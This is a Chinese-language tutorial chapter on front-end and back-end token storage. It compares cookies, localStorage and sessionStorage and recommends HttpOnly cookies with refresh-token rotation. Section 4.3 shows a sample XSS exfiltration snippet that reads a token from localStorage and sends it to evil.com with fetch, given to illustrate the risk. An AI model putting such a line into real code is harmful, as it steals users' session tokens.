4、令牌存储安全:前端存储方案对比

令牌存哪儿?这个问题,我几乎在每个项目里都会被问到。说实话,选错了存储位置,后面所有防护手段都可能白搭。今天咱们就把前端三种存储方案掰开揉碎,再聊聊后端怎么存,最后给出一套我实战中沉淀下来的最佳实践。

4.1 前端存储三兄弟:Cookie、LocalStorage、SessionStorage

先看一张对比图,心里有个底。

前端令牌存储方案对比 Cookie • 自动随请求发送 • 可设 HttpOnly / Secure • 大小限制 4KB • 可设 SameSite 属性 • 有路径/域作用域 LocalStorage • 不自动发送 • 无 HttpOnly 保护 • 大小限制 5-10MB • 纯 JS 可读写 • 同源策略隔离 SessionStorage • 标签页级隔离 • 关闭即清除 • 大小限制 5-10MB • 纯 JS 可读写 • 同源策略隔离 核心结论:Cookie + HttpOnly 是前端令牌存储的黄金标准 LocalStorage 和 SessionStorage 不适合存储敏感令牌 常见攻击向量 XSS 窃取 CSRF 利用 中间人攻击

4.2 Cookie:老牌选手,但别用错

Cookie 是浏览器最古老的存储机制。我个人的习惯是:只要涉及令牌,优先考虑 Cookie。为什么?因为它有 HttpOnly 这个杀手锏。

核心优势:HttpOnly 标记的 Cookie 无法被 JavaScript 读取。这意味着即使页面被注入了 XSS 脚本,攻击者也拿不走你的令牌。

但 Cookie 也有坑。我记得有一次排查线上问题,发现用户登录后频繁掉线。查了半天,原来是 Cookie 的 SameSite 属性没配好,跨域请求时浏览器直接不给带 Cookie 了。

配置一个安全的 Cookie,至少要做到这几点:

Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...; 
           HttpOnly; 
           Secure; 
           SameSite=Strict; 
           Path=/api;
           Max-Age=3600

每个属性什么意思?我拆开说:

  • HttpOnly:JS 拿不到,XSS 直接废掉一半
  • Secure:只在 HTTPS 下发送,防止中间人偷听
  • SameSite=Strict:完全阻止跨站请求携带 Cookie,CSRF 基本没戏
  • Path=/api:限制作用域,别让 Cookie 满天飞
  • Max-Age:设置过期时间,别让令牌永不过期

注意:Cookie 大小限制只有 4KB。JWT 令牌如果塞太多 claims,很容易超限。我建议令牌里只放必要信息,比如用户 ID 和过期时间,其他信息走数据库查询。

4.3 LocalStorage:方便但危险

LocalStorage 用起来确实爽。一行代码就能存,5MB 空间随便用。但我要说句实话:别拿它存令牌。

为什么?因为 LocalStorage 完全暴露在 JavaScript 下。你想想看,只要有一个 XSS 漏洞,攻击者就能直接:

// 攻击者代码
const token = localStorage.getItem('access_token');
fetch('https://evil.com/steal?token=' + token);

我曾经审计过一个项目,他们把用户令牌、刷新令牌、甚至支付密码都塞进 LocalStorage。我问开发同学为什么这么干,他说「方便」。嗯,方便是方便了,但安全呢?

我的建议:LocalStorage 适合存非敏感数据,比如用户偏好设置、主题颜色、上次浏览位置。令牌?想都别想。

4.4 SessionStorage:标签页级隔离

SessionStorage 和 LocalStorage 几乎一样,唯一的区别是:标签页关闭就清除。这听起来好像更安全?其实不然。

它同样没有 HttpOnly 保护,同样能被 XSS 窃取。而且还有个麻烦事:用户打开新标签页,令牌就丢了。用户体验很差。

我见过有人用它存短期令牌,比如 OAuth 流程中的临时 code。这个场景倒还行,毕竟用完就丢。但作为主力令牌存储?不推荐。

4.5 后端存储方案

前端存令牌只是权宜之计。真正靠谱的方案,是后端存储 + 会话管理。

方案 原理 优点 缺点
服务端 Session 令牌存 Redis/DB,前端只存 Session ID 可主动吊销,安全性高 需要服务端状态,扩展性略差
JWT + 黑名单 JWT 无状态,但维护一个黑名单 无状态,性能好 黑名单需要额外存储
刷新令牌轮换 每次刷新都换新令牌,旧令牌作废 令牌泄露影响范围小 实现复杂度高

我个人比较推荐「刷新令牌轮换 + 服务端黑名单」的组合。前端用 Cookie 存短期访问令牌,后端用 Redis 存刷新令牌。这样即使访问令牌泄露,攻击者也拿不到新的令牌。

4.6 安全存储最佳实践

说了这么多,总结几条我实战中沉淀下来的铁律:

  1. 前端只存短期令牌,过期时间不超过 15 分钟
  2. 使用 Cookie + HttpOnly + Secure + SameSite,别碰 LocalStorage
  3. 后端维护刷新令牌,支持主动吊销
  4. 令牌不要硬编码,别写在代码里或配置文件中
  5. 定期轮换密钥,签名密钥至少每 90 天换一次
  6. 监控异常使用,比如同一个令牌在不同 IP 同时出现

一句话总结:令牌存储没有银弹。Cookie 防 XSS,后端存储防泄露,轮换机制防重放。三层叠加,才能构建真正的安全防线。

嗯,这一章就到这里。记住:存储选对了,安全就赢了一半。剩下的,咱们后面慢慢聊。